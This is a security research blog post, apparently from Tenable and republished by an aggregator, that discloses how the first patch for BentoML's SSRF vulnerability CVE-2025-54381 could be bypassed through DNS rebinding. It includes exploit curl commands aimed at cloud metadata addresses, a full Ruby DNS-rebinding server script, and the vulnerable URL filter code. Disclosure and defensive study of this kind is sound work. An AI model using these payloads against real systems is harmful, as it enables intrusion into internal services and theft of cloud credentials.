How Tenable Found a Way To Bypass a Patch for BentoML’s Server-Side Request Forgery Vulnerability CVE-2025-54381
Tenable Research发现BentoML存在SSRF漏洞(CVE-2025-54381),初始补丁因未防范DNS重绑定攻击而被绕过,允许攻击者访问内部资源。该漏洞已通过版本1.4.22修复。 2025-9-17 13:0:0 Author: www.tenable.com(查看原文) 阅读量:7 收藏

Tenable Research recently discovered that the original patch for a critical vulnerability affecting BentoML could be bypassed. In this blog, we explain in detail how we discovered this patch bypass in this widely used open source tool. The vulnerability is now fully patched.

Key takeaways

  1. Tenable Research discovered that the initial patch for a high-severity SSRF vulnerability in BentoML – a popular open source tool – could be circumvented.
     
  2. The vulnerability (CVE-2025-54381) in the BentoML file-upload processing system could allow remote attackers to make arbitrary HTTP requests from the server without authentication.
     
  3. The vulnerability is now fully and properly patched. Users should upgrade immediately to version 1.4.22 or later to fix it.

Introduction to BentoML

BentoML is an open source Python framework designed to facilitate the deployment of AI apps and models. It provides a comprehensive environment for packaging, serving, and monitoring models in production, with a simple API system for exposure.

Typically, BentoML functions as an HTTP server that receives data such as files or URLs, processes them through user-defined services, and returns a result. This flexibility makes it convenient for AI model inference endpoints. However, any insecure handling of user-supplied URLs can open the door to server-side request forgery (SSRF) attacks.

Understanding CVE-2025-54381

In August 2025, a critical vulnerability was discovered in BentoML versions 1.4.0 through 1.4.18. This SSRF vulnerability allows unauthenticated remote attackers to force the server to perform arbitrary HTTP requests.

An SSRF vulnerability occurs when an application accepts user-provided URLs and performs server-side HTTP requests without adequate validation. This enables attackers to target internal or protected resources, such as cloud metadata endpoints like 169.254.169.254 that contain sensitive information.

For a comprehensive background on SSRF mechanics and common exploitation techniques, read our blog post about SSRF fundamentals

Minimal vulnerable case:

Here's a minimal example of vulnerable BentoML code:

from pathlib import Path
import bentoml
@bentoml.service
class ImageProcessor:
    @bentoml.api
    def process_image(self, image: Path) -> str:
        return f"Processed image: {image}"

Exploitation with curl:

The vulnerability can be exploited using a simple curl command:

curl -X POST http://target:3000/process_image \
     -F 'image=http://169.254.169.254/latest/meta-data/'

In this scenario, the server downloads content from the attacker-supplied URL and processes it through the application pipeline.

While the vulnerability initially received a CVSS score of 9.9, its practical severity varies between 5.3 and 8.6 depending on network configuration and accessibility.

The official patch analysis

In the original patch, BentoML addressed the vulnerability by implementing an is_safe_url function to filter incoming URLs:

def is_safe_url(url: str) -> bool:
    """Check if URL is safe for download (prevents basic SSRF)."""
    try:
        parsed = urlparse(url)
    except (ValueError, TypeError):
        return False
    if parsed.scheme not in {"http", "https"}:
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    if hostname.lower() in {"localhost", "127.0.0.1", "::1", "169.254.169.254"}:
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not (ip.is_private or ip.is_loopback or ip.is_link_local)
    except ValueError:
        pass
    
   try:
       addr_info = socket.getaddrinfo(hostname, None)
   except socket.gaierror:
       return False
   for info in addr_info:
       try:
           ip = ipaddress.ip_address(info[4][0])
           if ip.is_private or ip.is_loopback or ip.is_link_local:
               return False
       except (ValueError, IndexError):
           continue
        
   return True


Filtering is based on:

  • A deny list of specific host names (localhost, 127.0.0.1, etc.),
  • Blocking private, loopback, and link-local IP addresses,
  • DNS resolution followed by IP address filtering.

Patch limitations

However, several critical weaknesses undermine this protection:

  1. Incomplete Blocklist: Alternative addresses like instance-data (internal DNS alias on some cloud platforms) or provider-specific endpoints remain accessible. For example, instead of 169.254.169.254, it is possible to use instance-data (internal DNS alias on some clouds) or other provider-specific addresses that are not listed.
  2. Unfiltered Cloud Provider IPs: Certain public IP addresses used by cloud providers aren't caught. For example, 100.100.100.200 (Alibaba Cloud metadata endpoint) passes validation.
  3. No DNS Rebinding Protection: The implementation validates URLs based on initial DNS resolution but doesn't verify subsequent resolutions, enabling DNS rebinding attacks.

This last limitation is the key to bypassing this patch.

Exploitation via DNS rebinding

While HTTPX (BentoML's HTTP client) doesn't follow redirects by default, DNS rebinding provides an effective bypass:

  1. Initial Request: DNS resolves to a legitimate public IP, passing is_safe_url validation
  2. Actual HTTP Request: DNS resolves to a private/loopback IP, accessing prohibited resources

Animated diagram showing steps for bypassing BentoML vulnerability patch

Minimal reproduction code :

The following code illustrates and reproduces the vulnerability

import ipaddress
import socket
from urllib.parse import urlparse
import httpx
DEFAULT_TIMEOUT = 10.0
def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
    except (ValueError, TypeError):
        return False
    if parsed.scheme not in {"http", "https"}:
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    if hostname.lower() in {"localhost", "127.0.0.1", "::1", "169.254.169.254"}:
        return False
    
   try:
       ip = ipaddress.ip_address(hostname)
       return not (ip.is_private or ip.is_loopback or ip.is_link_local)
   except ValueError:
       pass
       
   try:
       addr_info = socket.getaddrinfo(hostname, None)
   except socket.gaierror:
       return False
   for info in addr_info:
       try:
           ip = ipaddress.ip_address(info[4][0])
           if ip.is_private or ip.is_loopback or ip.is_link_local:
               return False
       except (ValueError, IndexError):
           continue
   return True
   
def fetch(url: str) -> bytes:
    if not is_safe_url(url):
        raise ValueError("URL not allowed for security reasons")
    with httpx.Client(timeout=DEFAULT_TIMEOUT) as client:
        resp = client.get(url)
        resp.raise_for_status()
        return resp.content
def main():
    url = "http://[URL_TO_TEST]"
    try:
        body = fetch(url)
        print(f"Downloaded {len(body)} octets from {url}")
    except Exception as e:
        print(f"Download failed : {e!r}")
if __name__ == "__main__":
    main()

After testing various public DNS rebinding services (like http://1u.ms/ and https://lock.cmpxchg8b.com/rebinder.html) without success, we developed a custom exploitation script for better control and visibility:

#!/usr/bin/env ruby
require 'rubydns'
PORT = 53
DOMAIN = ''
PUBLIC_IPV4 = ''
EXPLOIT_IPV4 = '127.0.0.1'
PUBLIC_IPV6 = ''
EXPLOIT_IPV6 = '::1'
endpoint = Async::DNS::Endpoint.for("0.0.0.0", port: PORT)
RubyDNS.run(endpoint) do
  ipv4_counts = {}
  ipv6_counts = {}
  match(%r{.*#{Regexp.escape(DOMAIN)}$}i, Resolv::DNS::Resource::IN::A) do |transaction|
    hostname = transaction.name.downcase
    ipv4_counts[hostname] ||= 0
    ipv4_counts[hostname] += 1
    if ipv4_counts[hostname] == 1
      ip = PUBLIC_IPV4
      puts "#{transaction.name} → #{ip} (IPv4 VALIDATION)"
    else
      ip = EXPLOIT_IPV4
      puts "#{transaction.name} → #{ip} (IPv4 EXPLOITATION)"
    end
    transaction.respond!(ip, ttl: 0)
  end
  match(%r{.*#{Regexp.escape(DOMAIN)}$}i, Resolv::DNS::Resource::IN::AAAA) do |transaction|
    hostname = transaction.name.downcase
    ipv6_counts[hostname] ||= 0
    ipv6_counts[hostname] += 1
    if ipv6_counts[hostname] == 1
      ipv6 = PUBLIC_IPV6
      puts "#{transaction.name} → #{ipv6} (IPv6 VALIDATION)"
    else
      ipv6 = EXPLOIT_IPV6
      puts "#{transaction.name} → #{ipv6} (IPv6 EXPLOITATION)"
    end
    transaction.respond!(ipv6, ttl: 0)
  end
  match(%r{.*#{Regexp.escape(DOMAIN)}$}i) do |transaction|
    transaction.fail!(:NXDomain)
  end
  otherwise do |transaction|
    transaction.fail!(:NXDomain)
  end
end

The script implements a stateful DNS server that:

  1. Maintains per-hostname resolution counters
  2. Returns a public IP on first resolution (passes `is_safe_url` validation)
  3. Returns a private/loopback IP on subsequent resolutions (enables exploitation)
  4. Sets TTL to 0 to prevent caching

To use this script, you'll need:

  • A publicly accessible server
  • A DNS zone configured to delegate queries to your server
  • Full control over the DNS resolution process

The use of this script requires a publicly reachable server with a DNS zone configured so that queries for your chosen domain are answered by this script. This gives you full control over the resolution process needed for DNS rebinding.

Final Exploitation

Once the DNS rebinding server is running, the vulnerability can be exploited with:

curl -X POST http://target:3000/process_image \
     -d 'image=http://malicious.your-domain.com/'

Conclusion

We contacted BentoML and shared our findings with its team, which replied that they were already aware of the problems with the original patch. A few weeks after our communication with BentoML, the organization issued version 1.4.22, fixing the vulnerability.

Tenable Research recognized early the significant role AI/LLM technologies would play in organizations — and the new security challenges they would introduce. To address these, it's crucial to enforce security fundamentals in server development and tool usage. Adhering to basic security practices can significantly mitigate risks from vulnerabilities in novel systems and prevent devastating attacks.

We thank the BentoML security team for their efforts in mitigating this issue and their clear communication during our disclosure process.

Timeline :

  • July 31, 2025 : Initial contact
  • August 14, 2025 : Second attempt
  • August 25, 2025: Vendor acknowledgment - Known issue
  • August 26, 2025: BentoML released version 1.4.22 with the fix

Joshua Martinelle

Joshua Martinelle

Research Engineer

Joshua joined Tenable in 2021 as a Research Engineer on the Web Application Scanning content team. Prior to joining Tenable, Joshua worked as a pentester and also as a system and network administrator, with a special interest in Linux and open source software.

Interests outside of work: Joshua enjoys spending time with his friends, watching movies and enjoying the simple moments. He indulges his passion for offensive security by doing ethical hacking in his spare time.


文章来源: https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381
如有侵权请联系:admin#unsafe.sh